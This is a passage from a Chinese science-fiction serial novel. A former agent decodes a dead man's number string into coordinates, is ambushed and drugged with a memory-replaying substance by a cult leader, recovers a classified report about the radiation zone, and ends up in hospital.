档案时间修改的名单、定金尾款的结清方式和是否结清,还看见了我的名字Wined·Caster,旁边画了个问号又划掉;一些整齐的数字英文串,粗略扫一眼,猜测应该是LEA仓库所在地,坐标范围大致都在城市边缘。
往后连翻几页没什么信息,我干脆倒过来从最后一页查看。
奇怪但眼熟的乱码,简单回忆一番,其中有一串是我当时在她浴室镜面上的便签句子,所以这些乱码应该就是我幼时自创的密语。
简单翻译了这一页每个段落的第一句。总共三段,翻出来的三句话分别是“不要忘记”、“记忆是背叛”和“LEA解药”。
密语本身不会参杂确切的主谓宾结构,后面的句子大多作为补充说明存在,全部看完我需要很长时间。手环又不在身边,不然还能拍下来带走仔细研究。
“我拿到余殷档案了。”吴潍的声音冷不丁从耳麦里传出来,吓我一跳。
都忘了耳麦这回事了。我下意识地收好来不及解密的笔记本,回答她:“你看到什么了?”
从自己的行李包中拿走医疗用品和记录平板,我锁好车,扫视了周围,没有看起来适合消磨时间的咖啡厅,只好往远的地方走一点。
“看起来没什么特别的。“吴潍的字句间隔拉得有些长,似乎在一边看一边思考,“基因组判别为教师,也确实在城市第二学校工作。唔,3817年年初和叶琦登记结婚,嗯?他的档案关联了子女?”
“重组家庭?”我提出可能,找了家顾客寥寥的咖啡厅,翻开菜单去看,尽管完全看不进去。
吴潍在耳麦那头沉默了一会:“不像是。女儿的出生日期是3819年。”
“日期呢?是2月份或者12月份吗?”
我点了杯叫做“日暮时分”的咖啡,拿出平板,重新写下那串数据“3822-02-19-12-27-06”。反复想得太久,我几乎都能背下来了。
“不是。”吴潍否
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决了我这个想法,“3821年被抽中进行辐射区探索,同年2月19日出发,所属队伍编号3822。”
在数字“3822”下方写下“探索队编号”,在“02-19”下方写下任务开始,在“12-27”下方写下任务结束,多出来的“06”依然没有头绪。
目前能确定,叶琦写下的“任务结束”应该指的是余殷的探索任务结束。
我把平板暂时关闭,放在桌面上,起身去卫生间给自己换药。
坐在马桶盖上,拆掉绷带,没有镜子看不见伤势,我只能用手摸着去更换。没有结痂的伤口摸起来诡异的柔软,用凝胶重新处理边缘,疼痛让我深呼吸一口。
为了转移注意力,我又去问她:“探索队编号有什么规律吗?”
“一般是出发年份加一,探索任务一年只有一次。”吴潍回答我,“其他直接相关的可能只有死亡日期,3822年2月19日。”
迅速缠好伤口,我整理完外表,回到座位,在“3822-02-19”下方又划了一整条横线,写上死亡日期。
余殷为什么要刚好在任务出发时间的一年后自杀?是巧合?还是他想告诉叶琦什么?
“唔,他在3822年1月份提过离婚申请,但没有通过。”耳麦里的声音陷入了思考,“理由是感情破裂,但叶琦不同意。”
“还找到别的了吗?”
我心里似乎有了一个可能,回到座位,对着端“日暮时分”过来的人类服务员露出一个浅笑。
还需要警局的档案验证我的猜测。叶琦怀疑丈夫是复制体,拿走了人类异常信仰案件的复印件,却没有她丈夫的自杀案件相关?
“没有。”吴潍对我说,“余殷档案下方还关联一份案件记录和一份异常走访记录,还有很奇怪的一点,死前一个半月报了整整十次警。”
哇哦,十次,这是跟无人机杠上了,还是跟管理局里哪个人杠上了。
我端起咖啡杯尝了一口,忍不住惊叹挑眉。这家店人少,难道是因为这个城市的人喜欢难喝的酒吗?
“案件档案里有那张无人机拍摄的现场照片。”吴潍的声音有些兴奋,但随之觉得不妥,“那串数字跟照片的时间戳完全吻合。”
我有些惊讶,在那一整串数字顶上写着“无人机现场拍照时间戳”。现在来看,余殷的死亡越来越像是某种暗示,而不是单纯的情绪崩溃。
余殷想说什么呢?叶琦到底发现了什么才决定加入组织?我摩挲着金属边缘:“他怎么短时间内会报十次警?不会被管理局拉黑吗?”
“好像是精神异常。”吴潍滑动屏幕的声音有些明显,似乎是档案长得有些令人厌烦,“结案语都是说他精神异常,又说是什么探索辐射区后遗症云云。”
“我知道了。”我直起身子,换了个姿势坐在椅子上,“他报警不是为了解决问题,是为了获得无人机到场、拍摄的花费时长。这个时间戳,一定是他精挑细选的。”
无人机在每次报案后,会在固定时间内抵达现场,拍摄一张报案地点照片作为出警记录,后期非重大案件的照片会被定时清理。
算是生命管理局“高压”统治的展现,尽管上层人完全不在乎。
“所以叶琦才会如此在意这串数字。”吴潍恍然大悟,但语气又低了下去,“但还是不知道这串数字意味着什么。”
我摸上了杯子把手,思考着。
路过的服务员忽然拍了拍我的肩膀,告知门口有我送达的物品。瞬间知道送上来的是什么,我摁掉耳麦的麦克风,起身去门口取管理局送来的新手环。
戴在手上,等开机音过去,我才重新打开麦克风。上下层手环除了开机音略微不同、地图有两张以外,其他基本相似,我不能让她起疑心。
手环几乎是开机的瞬间就接收到了管理局的提示:上一个手环的下线坐标,并附带了关不掉的两周倒计时。
坐标?我无视了充满警告暗示的倒计时,也忽略稍后发来的“因攻击同事罚款30%月度工资”通知,在手环上调出地图,查看上层城市坐标范围。
坐标横竖都是0-4000,使用时严格对照小数点左四位右两位的格式,用0补全缺位。
我看了眼14位的数字,去除全部连接号,按顺序每六位拆成“3822.02”和“1912.27”;至于“06”,可能是接头暗号,也可能是时间,不能确定,但很符合组织故弄玄虚的风格。
“是一份坐标。”我提醒吴潍,“这个地方刚好接近城市边缘——”
但这种解法属实是有些生搬硬套。
如果,一个地点就能解释余殷想说的所有事情,那直接告诉叶琦不就行了?她再怎么怀疑自己的丈夫,3815年的第一次人类异常信案件本身就是强行结案,不可能会放过这个线索。
9. 请君入瓮的坐标
“也符合组织选择线下接头地点的风格!”耳机里的声音有压不住的兴奋,“那我们现在出发吗?”
我不认识余殷,但我熟悉叶琦。大概率是余殷的信息被组织利用了,这串数字一定会有第四种解法,也是余殷用命想要表达的信息。
目前情况而言,这个坐标不管有什么,一定会有组织的人在蹲守我。
“吴潍,”我把平板和咖啡都放在一边,平静地重新拿起菜单,“你不饿吗?我在‘潮汐’,是个咖啡厅,我得吃饭。”
不算难吃,也不算好吃的一顿饭。
回到车里,开了自动巡航,让车自己去规划路线,我对着副驾驶位还在研究数字的吴潍说:“你上班中途跑出来,算早退吧?”
“档案管理员线下验证档案者信息又有什么问题呢?”被质疑的长波浪/女人毫不在意,卷着鬓角,翘着二郎腿,拿着我的平板盯着看,“不用在意。”
反正这班又不是我——不对,还真是“我”上的班。沉默地摸摸自己良心,我自认为还是挺爱岗敬业的,但在吴潍身上怎么那么叛逆呢。
“这个‘06’到底是什么意思?”她对着这两个自然数划了半天,“除了时间戳,从时间跨度和坐标解释,都无法解释这两个数字。”
“说明可能有第四种解法。”我倒是接受良好,重新翻起叶琦的文件,“这串数字的最高解释者已经死了三年了,要是能通灵问问就好了。”
“说起来,余殷为什么会自杀?”吴潍不再纠结可能存在的第四种解法,“异常走访记录上只记录了他的失职,他本人什么都没说。”
我本想说叶琦暗示过我余殷是复制体,但直到目前为止都没有找到实质性的证据,于是只好无能为力地摇头,表达自己也不清楚。
“如果这串数字真的那么重要,为什么要用死亡来留下?”吴潍不再看平板,把平板扔到后座上,“余殷和叶琦的感情嫌隙到这种地步吗?”
“谁知道呢。”我斟酌着语气,把握好“吃醋”和“释怀”的度,“感情这种事情,就是范围最大的随机数。”
吴潍看着我的表情,没头没尾地扯出一句:“你看起来和我差不多大,怎么听起来像五十岁。”
“我没掏出烟抽上就不错了。”我拉低她的预期幻想,“你知道说出这种话,一般要配上一杯成分不明的酒和廉价香烟。”
“还有迷离的灯光和关系复杂的烂俗故事。”吴潍重新扎起头发,绑成马尾,“我知道,是《遥遥月光》里面的台词,这剧集得有十来年了。”
我不满吴潍语气里的蔑视:“吴老板,这是经典。”
虽然我和吴潍还没法推理出余殷为什么要这么做,但我有我自己的推测版本。
我帮助过不少生物复制体进行社会替代任务,不过都是在下层,也就是用复制体替代复制体。在我这种旁观全程的视角里,看起来像是某种大型角色扮演。
假设,这种事情也会发生在上层。
那么“余殷”作为余殷的生物复制体,因为周围的不明显但真实的质疑感到崩溃,同时明白自己是复制体,提出离婚只是他自救、或者解脱的一种方式,但叶琦拒绝了。
修改不了自我认知,改变不了周围环境,余殷作为人类,死亡是非常具有诱惑力的选择。
而这串数字是他必须要留下的,必须要用不可隐藏、不可更改、不可删除的方式——无人机拍摄现场照片的时间戳。
余殷用自己的死亡换来了这一串数字的永久存在,像是一把达摩克利斯之剑悬在生命管理局的头上。
所以,必须是我来解决吴潍;所以,必须是我来解决组织。
我不知道应该说些什么、应该有什么感想。
当年我满心欢喜地加入生命管理局,兢兢业业地在城市里奔跑,按部就班地追查异常信仰案件——但我获得了什么?真相、囚禁、放逐。
我想复仇,但毁了生命管理局就等于毁了所有人,只能保持现状。
我知道,管理局也知道。
我看着周围逐渐安静下来,空楼房比比皆是。看来在我离开的十年里,城市人口更集中了。
吴潍目前推测不出来,因为她没有“生物复制体会替代人类”的事实概念。
那些对身边人的怀疑未必是假的,复制体本身就不会暴露自己的身份,否则等来的不一定是周围人的不相信,还会是管理局的回收——这也是我的工作之一。
离坐标还有不到五分钟,我有些不安的重新检查了腰间装备。吴潍倒是没什么额外的反应。
我看着自动巡航显示结束,找了个曾经规划为停车位的空间,停车。
这坐标附近长满了各种奇形怪状的花朵植被,颜色更是挑战着人类视觉极限,本应该舒适的花香令人头昏脑胀。
我想着母亲的花圃,试图用心理反应欺骗自己的生理反应。
吴潍下车看了一眼我的停车,又把视线转向我:“这植物都长成片了,你还能按照位置停?”
我拍上车门,耸肩:“这就是物超所值,诚心买卖,吴老板。”
我的新晋老板一甩手,示意我带着油腔滑调一起在前面走。
走进坐标所在的废弃大楼,扫视一圈没有发现导航图,正中心的屏幕也没有显示,似乎没有电力。
“外面来看似乎有十楼。”我摸了摸下巴,调出手环检测环境,“没有生物热源,没有磁场反应——”
吴潍补充说明:“没人,断电。所以呢?”
“‘06’可能指的是楼层,6楼,负6楼;”我拉出手环的虚拟屏,指望地图上会有这栋建筑的详细信息,“也可能是时间,6点,或者和6有关的固定现象。”
在手环上的地图没有结果,无奈地深呼吸叹气,我从空气里闻到一点类似于母亲花圃盛开的综合香味。门外呛人的花香总算是淡了许多。
吴潍循着味道往通风井的方向走了两步:“你有没有闻到什么味道?”
“有月季的味道,”我脱口而出,后知后觉有些失言,找补着,“像是花店的味道,不过这座建筑的门口位置就长了很多花,也不算意外。”
吴潍没有注意到我的小失态:“不,这是LEA的味道。”
“之前我在仓库怎么没有闻到这种味道?”我观察着通风井,顺着通路把视线转向角落里的楼梯,“怪不得我在天桥温室没有注意到LEA的味道。”
“LEA的挥发性很强,只要通风够好,这种味道很快就会散掉。”吴潍按照我的指示跟在后方,“而且味道并不特殊,生活里闻到也像是香水。”
这么说来,这个味道的源头所在八成有人。我摸出左腰的手电筒,拿出手枪,装上消音器,上膛。
贴墙,借着手电筒光缓步下楼,我开口问吴潍:“所以,闻到这种味道对人体有影响吗?”
“不清楚。”吴潍说得很无辜,也拿出枪,隔了几步,跟在我身后,“我没有听说过有什么影响。”
“听说?”我在楼梯口停下问她,“你对LEA几乎不了解?”
“没法否认。”吴潍终于显露出一些无奈和心虚,“LEA的订货人、制作者和供货商都是互盲,只通过我这种‘传话人’沟通,而且传话人只会在其中两方之间任命。”
怪不得,这就验证了我对生命管理局不处理吴潍的猜测,确实是因为没法一锅端。我没再说话,转身继续沿着楼梯往下寻找源头,最后我停在了负6楼,味道从这层的深处传过来。
正准备去拉防火门,身后瞬间传来了一声警示意味的枪响,随即整个走廊的灯都亮了起来。低头去看卡在防火门上的子弹,顺手关掉手电,我听见身后传来耳熟的声音:“小姐,这种地方可不是淑女应该来的地方。”
枪响回声在封闭空间里动荡。我转身去看,来者是当时互助会被组织成员称为“总督”的男人。示意吴潍不要下楼出现,自己迅速举枪对准他:“背后鸣枪警示,也不是绅士的作风。”
“啊,叶琦的朋友。”总督举起左手,蹲下,放下手枪,起身把枪踢到走廊边缘,“你能找到这里也是预料之中,管理局做事总是那么不计后果。”
余光确认吴潍没有出现,我压低枪口,没有接他的话茬。借着顶光,我才认出眼前的男人。
他是我曾经亲手除掉的核心组织成员。在之前互助会上对总督的混乱一瞥,我还没有认出他。
稳了稳心神,我继续和他对峙。
“叶琦都没有完成的修正,我还是亲自上阵比较好。”总督的语气很平缓,像是在对着我讲一个遥远的故事,“LEA的味道很像花香,注射的感觉也会像是一场没有后遗症的甜梦。”
他上前一步,我迅速抬起枪口对准他,下意识摆出曾经的管理员架势:“停止你的行动。”
“我不想听第二次。”总督打断了我的职业病吟唱,又上前一步,“十年前也有这么个人用这种语气来阻止我。”
我下压枪口,在他的脚边开枪,又迅速对准他的躯干,挑眉:“就当你在夸我们不忘初心了。”
总督冲刺两步,他的胸口即将抵上我的枪口。我不再犹豫,不试图从他这里套出更多情报,迅速扣下扳机。
对方的动作更快,抬手偏移我的手腕,子弹落空,在这段狭长走廊里炸出第二次更安静的回声。
“你不嫉妒吗?”总督的声音落在我的前方,视线明显上移到楼梯口处,“复制体偷走了你的人生,就这样放下了?”
我没有跟他废话,趁他牵制我的手腕,左腿一扫,破坏他的下盘平衡。在他调整重心瞬间,抬腿正踢,拉开和他的距离,重新摆好手枪架势。
总督捂着腹部后撤两步站定,脸上全是兴奋:“你果然是证人
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,叶琦说得不错。”
怎么感觉这男人能从对战风格中认出我?见过我的只有当年的核心组织成员,而我已经按照名单处理干净了,怎么会有漏网之鱼?叶琦给出的名单向来包含所有可能,她不会这么早就加入了组织。
“你是谁?”我干脆直接询问,这种把“自恋”两个字打在身上的邪教组织头头,向来不吝啬声明自己的机会。
“姚渊。”他冲我一笑,像是看见了梦想成真的证据,“久违,吴队。”
这个人名在叶琦给出的名单上,我没有漏掉,当时的生物特征也是匹配的。那眼前这个人真实身份到底是什么?
“你认错人了。”我面不改色地反驳他,“我认识的吴队早就不干这一行了。”
如果是复制体,怎么会有原型的记忆?
复制体获得的记忆来自原型最近的生命备份。姚渊就算是复制体,管理局也不会使用他加入组织之后的生命备份数据。
姚渊没有行动,用那种“我为了你好”的花言巧语腔调:“你自愿让出了原型身份?生命管理局值得你这么维护吗?”
我不为所动,瞄准他的持枪手,扣动扳机。对方迅速转移身形,一枪偏移。
左肩受伤,我连定靶都打不中?我暗自腹诽一句,连开两枪扰乱对方节奏,在对方接近时迅速左手摸出匕首应战。
姚渊速度太快,我一时间招架不住。
原型是城市执行官,在城外核战清算战争中是稀少的人类指挥官。战绩我没有仔细研究过,但能活着退伍已经是一种证明。
他侧身躲过我的匕首横扫,一把掐住我的左手手腕,用力反折,试图迫使我丢刀。我不能再受重伤,右手调转枪口,准备再次扣动扳机。
姚渊似乎早有预料,放弃控制我的左手,侧身完成左拳蓄势,击打在我的肋骨下方。
操。我疼得说不出话,至少没有听到骨骼断裂的声音,又添一处瘀伤而已。眼前一阵阵发黑,不得不半跪在地上,粗喘两口,压下心头的气血翻涌。
“肩膀有伤?”姚渊并不打算杀我,控制住我之后反而饶有兴味地蹲在地上,看着我挣扎,“怪不得准头没有以前好。”
“我认识你吗?”自知是打不过了,我得想办法转移注意力,抬头扯出一个微笑,“姚什么?姚渊?”
体力,技巧对现在的我来说就是碾压。我又想起来医院报告单上写成串的伤势,操。
“不准动。”吴潍没有坐视不管,举着我的备用枪,压低语气,“袭击城市管理员将判处——”
没等她说完,姚渊迅速转身挥手,击落吴潍的手枪。吴潍反应很快,瞬间格挡姚渊的提膝顶击,不得不后撤两三步才堪堪站定。
我抓住机会,放弃手枪,正握匕首,准备起身突击。对方预判到我不会放过这个机会,躲过我的匕首,抓过我的手腕和左肩,转身用力,把我撂倒在地上。
我的风格有那么明显吗?我天旋地转中想着。
又是后背着地。作为无神论者,我都不知道该向谁祈祷,让我后背的肋骨骨裂不被这下摔成骨折。我更宁愿原地昏倒过去算了。
离动作片里被暴揍的路人小兵战败结算情景,就差蜷缩在地上呻吟了。
呻吟那部分,不是蜷缩。我已经痛得思维迟缓了。吴潍连忙跑过来扶起我,视线一刻没敢离开姚渊。
“你会为你的冲动付出代价。”姚渊永远是一副预料之中的表情,他的视线越过我,落在吴潍身上。
我拉着吴潍的手站起身,独自站定,捂着左肩,用尽全力不让自己对他翻白眼。走廊的灯在闪烁,姚渊侧着身仿佛在俯视我,表情有几分时间限制的不爽。
忽明忽暗的情景让我眯了眯眼睛。那男人面对着我们站立,看不清他脸上的表情。
“你们只会止步于此。”姚渊的声音在我的耳里很遥远,“这里就是叶琦的终点。”
我都不知道该捂那里才能让自己好受点,最后干脆都不捂了,站直身体,凭借记忆俯身摸上走廊边的姚渊手枪。
刚拿起来我就知道这一切都是个圈套了。姚渊的枪太轻了,弹夹是空的,他只带了一发子弹。
这人到底来干嘛的?虽然这么想着,但我还是拿着空枪握在手里。哈,叶琦说得对,我确实很擅长把空枪当板砖使。
我小幅度的伸展身体,确认伤势:“你们这种半吊子定义别人的终点,未免有些太狂妄。”
“你既然已经见过了真相,为什么不散布呢?”姚渊的语气像是蛊惑,“让所有人活在猜忌和怀疑里,过着痛苦的噩梦?”
我仔细摸一把手枪型号,是管理局的统一制式,和我下层配备的弹夹并不通用。
这下真的只能当板砖使了。
可算是知足吧,上层人。我暗自骂他一句,嘴上反驳他:“谢谢你,我对当先知没兴趣。”
10. 岌岌可危的真相
“但是我有——”
姚渊的话语起头就让我感觉不妙,我一个箭步冲上去打断他的话。不知道是不是我的错觉,他在我扑上去的时候讽刺地轻笑一声。
我和姚渊摔进了防火门之内。奇怪的化学仪器还在低声作响,更加浓烈的馥郁花香扑面而来。
诡异的情景让我走了一瞬间的神。
看见他拿出和叶琦如出一辙的LEA注射器,我在想这种违规药剂有没有成瘾性。
假如组织里都是毒虫,那十年前的这个组织早就彻底完蛋了。我这么想着,举起手,决定采用金属部件的错误用法。
“好梦。”
姚渊的声音似乎从母亲遥远的花圃里传来。
意识似乎瞬间消失了。再次醒来时,我恍惚看见自己变成了叶琦,对着镜子大喊大叫,但发不出声音。
我看见时隔多年重新亮起的定位,看见定位走向生命管理局,走向吴烛的家,最后轻而易举地走进自己的家。
情绪输出远大于记忆冲击。惊讶、怀疑、难以置信——像是团成一团的致密火药从内部炸开。
记忆是燃烧的元素,轨迹是无从分辨的顺序,火光是灼痛的情绪,最后回荡着我难以言明的痛苦,迅速湮灭。
我得承认,姚渊的形容非常正确,真的很像是一场没有后遗症的甜梦。
我有点喜欢了。LEA不仅会注射情绪,还包括记忆。
叶琦给我注射的目的就非常明确了——她就想知道,眼前这个和记忆里的“吴潍”完全不同,但有“吴潍”风格,也有追踪匕首的陌生人,到底是不是吴潍,到底是不是她的挚友。
她知道我和她的分歧在哪里,是共情对象的差异。我也知道,并且我天真地觉得:这可以来日方长。
而我再也没有机会告诉她:我回来了,我可以拯救你,像十年前一样。
“醒醒。”有人在推我,熟悉的声音,柔软而担忧。浑身的钝痛让我费力地找回神志。
花香,该死的花香。我捂住脸,不知道自己是昏迷,还是睡了过去。这下我再去母亲的花圃一定会有心理阴影。
“Wined·Caster!”
这名字又在喊谁?昏暗的炽光灯打着频闪,我用力找到支撑点试图坐起,看着镜子——镜子?哪里来的镜子。
是吴潍,不是镜子。我拉住她即将采用“扇醒”方式叫醒我的手,起身坐起:“我醒了,醒了。”
“那就好。”吴潍收回手,上下打量我一番,伸出四根手指,“你有什么不舒服吗?这是几?”
我一把揽过她的四根手指,故意目视前方,语气迷离:“LEA有点上头。”
她瞪大了眼睛:“LEA没有成瘾性,只是情感复现,情绪安慰剂而已。”
我把视线转向她,她和我对视。我等着吴潍继续补充。她困惑地看着我,偏头挑眉,示意我说话。
好吧,我总算是确认吴潍真的对LEA几乎一无所知。
“确实没有。”我活动着手腕,移开视线。
“你骗我?”吴潍原本对准我的左肩,最后一拳捣上我的右肩,“你的职业精神就这样?”
我夸张地捂肩,顺势躺在地上,悲痛地呜咽一声。吴潍抓着我的手腕,试图把我拉起来:“你的老板不吃这一套,你收收吧。”
我借力挺腰,站起身,收起模糊重点的嬉皮笑脸。环视周围,防火门后的空间像是落灰很久的化学实验室。
扶了扶腰,我问吴潍:“姚渊呢?”
操,浑身都在痛。我得谢谢姚渊没有下死手。
不知道叶琦对姚渊说到什么程度了,但按照姚渊对我的态度来看,八成,不,一定知道,我见过下层,我是唯一一个完整穿梭过辐射区、并且活着回来的真正人类。
吴潍叹气:“他给你注射了LEA就离开了。”
我环视周围,假装我问出的问题并不是重点:“什么都没说?”
“什么都没说。”她很肯定地点头,“你是怕我问什么问题?”
我背过身去观察那些停止“嗡嗡”低鸣的化学仪器,整理好语气靠在桌子边缘:“你不觉得你的问法太直接了吗?”
吴潍抱胸,表示自己毫不在意我的控诉:“姚渊跟你很熟?”
“不熟。”我回答她,“而且他是组织总督,他说话你愿意信,那就完蛋了。”
“总督?”她重复了这个称呼,不知道是故意诈我,还是真的不知道组织里有这么一号人。
“类似精神领袖的角色。”我决定说实话,“昨天,还记得吗?我跟你说过,我是从组织里逃出来的。”
吴潍恍然大悟:“哦,那他为什么叫你吴队?”
“指桑骂槐呢。”我给那个举手投足冒着“自恋”傻气的男人下定义,控诉似的盯着吴潍看,“你当年在案件里做了什么?”
被反将一军的前城市管理员沉默了下去。我无辜地摊手,在这间屋子里转身,继续寻找能够破解那串数据的新线索。
玻璃器皿里有一些刚加工出来的花香精油,靠近之后浓烈的香味让我皱了眉头。其实这地方就没有什么好找的东西,姚渊亲自在这里蹲伏,怕的是我和吴潍不来,而不是找到潜在的线索。
“你懂化学技术吗?”我一介粗人实在是看不懂这些瓶瓶罐罐,“这里看起来只是精油萃取室,更像是姚渊故意吸引我们的圈套。”
吴潍从房间另外半圈绕到我们面前:“一般。我们又不做技术,空有理论没有仪器和实践。”
无奈,我翻箱倒柜地找出没有落灰的密封试管,准备采样那些提取出来的精油。察觉到存放试管的架子深度有些不对劲。伸手摸到底部,估算着距离。
这种制式的架子在下层相当常见,也是那些生物复制体的躲藏、藏匿重要物品的首选。
好俗套的走向!我心里“果然如此”地大喊一声,用指关节敲了敲底部,声音果然是空的。把整个隔层清空,我递给吴潍一个空试管,示意她去装一些样本。
摸了摸身上,才想起来匕首落在门外走廊,手头只有一些技术工具。
掏出小功率激光刀的时候,我还在寻思,对付这种薄铁板会不会有些大材小用?时间不等人,姚渊如果真的对吴潍什么都没说,八成他想说的都在这份隐藏的文件里。
拿出背后颇有些份量的纸张,是一份手稿,时间落款是3815年。
十年前的东西,有些眼熟的笔迹。我迅速翻查,是一份辐射区调查报告。
刚刚扫到开头第一句“根据为期六个月的调查”,我的大脑一片空白,下意识地用手挡住内容。
这是我曾经写给核心管理层的任务报告。去了下层之后,为了避免和“吴潍”扯上关系,我更改了笔迹,甚至连我自己都没法第一时间看出来曾经亲自写过的文件。
姚渊放这份文件是什么目的?这份文件需要配合当时的证据才有说服力,单独一份文件证明不了什么。
是要用这种方式证明他们知道吴潍的过去?
我再次扫了一遍细节部分。是近期的复印件,抹去了除了“吴潍”以外的所有人名,抹去了具体的证据描述,只留下了结论和核心管理层的反馈批语。
指向性非常明显:如果你想知道真相,我们会告诉你。
结尾的落款是我再熟悉不过的签名,一气呵成的笔迹,现在只让我几乎思维要停转。
我要把选择权留给吴潍吗?我惶惑地扶额,来不及想出对策,把单独成页的反馈拿出,迅速折叠塞进随身技术工具便携包。
拿着手里的文件起身,转身主动叫住还在给试管密封的吴潍:“姚渊藏的文件,有你名字。”
“我?”吴潍把试管递给我,接过那几张纸,低头去看内容,“你怎么这么确定是他藏的?”
当然了,组织精神领袖亲自登场,这种明显是线索的文件,怎么会就这么明晃晃地放在这里。
“这里已经是暴露的坐标,”我失忆吴潍去看复印件角落上的标记,“谁会把管理局标记为绝密的文件放在这里?”
吴潍皱着眉头:“你在管理局到底做过什么?”
“你要是想问我为什么会知道‘绝密’标记,”我收好精油样本和工具便携包,冲她一笑,“因为我干的所有事情都是绝密。”
后者对我的讨好完全不接受,沉默而优雅地蔑视我一眼。说完,我指了指门口,示意先去走廊回收匕首和手枪。
打开手电,发现姚渊自己的枪已经被拿走,我的枪还在门口,匕首落在不远处的走廊边。
在走廊站定,深呼吸,从曾经的记忆里翻找出那份文件。
想起最后管理局回复中的“拒绝”和“确认辐射区无人类活动迹象”,我心里就是一阵难以描述的五味陈杂。
一个很小的文字游戏。辐射区确实没有人类活动迹象,那只是个面积很大的隔离带。
我扶着头,深呼吸压制好情绪。姚渊的圈套、单方面的压制,迟迟不好的伤势,叶琦的死亡,余殷的信息,每一件事情都没有一条即行的出路。
无法诉说的压抑和真相,被践踏的信念和希冀,我无能为力,只好愤恨地对墙角撒气,有些气恼地踹了一脚。
"打不过姚渊这么生气?"吴潍从房间里走出来,手里的文件卷成卷拿在手里,“你也浑身是伤,打不过也情有可原。”
“打了十几年架,难得输这么惨。”我尴尬地收好情绪,结束简单的问候,“你在管理局有什么认识的技术员吗?”
曾经的也行。当年办案确实是和一个叫林执的技术员关系不错,希望吴潍能继承到这层。
“是有一个。”吴潍摸着下巴报出了熟悉的名字,“林执。当年似乎是指定的合作技术员,但现在不知道还接不接这种委托。”
终于是
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有那么点好消息了,我拿着手电筒离开:“死马当活马医,先送你去管理局,我再去医院。”
“不,你应该先去医院。”吴潍拒绝了我的独行,“你账户里没钱。记得吗?”
“吴老板,”我有些无奈地喊她,“你真的觉得我在遇到你之前,全是当街乞讨才过活的吗?”
她的声音带了点久违的笑意:“当然不是,秘密特工。”
这个坐标果然是伏击,尽管有了准备,但对方确实是难缠。我浑身钝痛实在是动不了手,让吴潍去开车,我得坐副驾驶先躺一会。
“大小姐,不会开?”我被急刹起步撞在了储物箱上,痛得趴在台面上压着嗓子问她,“你那全自动的车不也是表演过手动起步的吗?”
被点名的大小姐有些尴尬一笑:“你这辆旧车进拍卖场,都能卖出原价了。”
噢,这车倒真是绝版货,卖出原价绰绰有余。我皱着眉头,毫不谦虚:“就当你在夸我眼光好了。”
好不容易起步的吴潍找不到自动巡航,我看不下去,撑着身子帮她启动,定位在管理局,总算是能安分小睡一会。
我摸出车里剩了半瓶的水,一股脑灌完,拧上瓶盖,空瓶放回原地。吴潍的视线在我这扫了又扫,我叹了一口气:“你是想问我能不能撑到医院?还是想说那份文件我看没看懂?”
“呃,都不是。”吴潍托着下巴看着我,“那是我的水。”
气氛顿时有些尴尬。忘了吴潍前面坐在副驾驶,这瓶水还是我分给她的。在车里野惯了,喝了一半的水向来随便塞进哪个储物箱,除了正儿八经的实体证件,其他东西都是复数。
犹豫地捂嘴,我避开视线,语气坚定:“职业精神,我不会嫌弃老板的。”
吴潍挥手,眼里都是担忧:“你到底给什么人工作过?”
“生命管理局。”我挑眉,面不改色地说一半谎,“我可是对城市忠心耿耿。”
她的表情像是根本不信:“你对复制体下不去手也因为——”
不是,因为没必要。我想说话,但如鲠在喉,最后挣扎出一句:“那份文件到底在说什么?”
“当年的案件找到了生物复制体的证据。”吴潍轻描淡写,但是没再看着我,“我结合证据,给上面写了份报告,支持人类异常信仰组织和生命管理局合作。”
太怪了,明明是我亲手写的文件,却被另一个生物体说“我写了”。我深呼吸,压下莫名其妙被剽窃的感觉:“那文件里的推测?”
这份文件只证明了两件事情:生物复制体确实存在,辐射区存在人类活动痕迹;两个推论:辐射区可以生存,辐射区之外存在第二个世界;一个建议:和民间辐射区探索组织合作,共同开拓资源。
而我拿走了管理局的拒绝批复。当然,这一点吴潍一定可以自己看出来,我想要隐藏的是:管理局坚决回复辐射区没有人类痕迹,否认了切实存在的实体证据。
要把她的注意点转移到去查管理局,辐射区本身就没有特别的意义,而且她被监视了,不会有任何线索。
“第二个世界?”她撇嘴,“我觉得更像是某种意向,而不是真正的第二个世界。”
我挪了一下姿势,尽量坐直身体问她:“你为什么这么说?”
“一份上报的文件,却没有任何批复?”她的语气很肯定,“组织既然能获得这样的内部文件,没理由得不到管理局的批复。要么是批复为拒绝,没必要放出来;要么就是管理局透露了重要信息。”
“比如说?”我摸着昏沉的头,努力打起精神。
她似乎是又看了我一眼,放弃跟进这个话题:“你先睡吧。”
好吧,在我已知的人生生涯中,很少会受这么重的伤。
上次不得不去医院的重伤,还是被名单上的复制体围殴的时候。因为昏迷定位太久没有改变,还是执行官同事把我带进医院的。
假如我是生物复制体,可就真的就死在那里了。
是梦还是回忆?我有些分不清我睡没睡着,但神智还是回来了。
我的老爷车停在了上午的街区,吴潍离她的下班时间还有两个小时。她下车时候的眼神落在我身上,像是轻轻地叹息,最后让我打开联系共享,把联系方式录进了我的手环。
接过方向盘,我终于恢复了孤身一人的行动力,熟练地开启自动巡航。
本想趁着这段时间好好梳理一番事件,但我的身体显然是开了省电模式,除了基本的生命体征,其他一概选择罢工。
我支开吴潍就是医院会因为重伤清洁我的身体,方便监测。把身上的装备全部留在车里,顺手把化妆品揣进风衣外套,我下车走向医院。
脸上的那些化妆品自然是留不下来,除了美瞳。
这玩意是管理局科技,是伪装,也是执行官的通行证明。开不了居民的锁,进生命管理局管控的实体建筑绰绰有余。
11. 岌岌可危的真相
“Caster女士,”眼前的医生面露难色,“需要我帮您报警吗?这么重的伤在城市里很少有。”
“我坠楼了。”我说得很平静,并且用视线阻止医生再问下去。对方无奈,按照我的要求选择了恢复最快且后遗症最小的方案。
不便宜的费用一笔一笔地提示在手环上,拍完CT,上完药,又给我打了一针什么修复剂,最后被两位男护士摁进了人体修复舱。
为什么是摁,因为那个修复舱有安眠镇定成分,我躺进去的时间不可控。
高级,费用也很高级。我放弃挣扎,果然还是应该让吴潍来垫付。但说到底,她的钱又是我的钱。
等着眼前的修复舱倒计时缓慢归零,昏昏欲睡。
又是花香,生命管理局能不能整点别的味道。陷入睡眠断片之前,我这么想着。
梦里是那个名字,那个名字的经历很有趣。
噢,下层的有趣跟上层的有趣不是一个概念,我说它有趣,是因为这个名字的主人在十年里被我回收了三十八次。第五次及以后,那个名字的主人就会无条件地相信我的故事,乖乖走进回收计划。
厌倦了机械地暗杀,我偶尔会为熟悉名字的载体编一些故事,让他们心甘情愿地被我回收,省时省力。
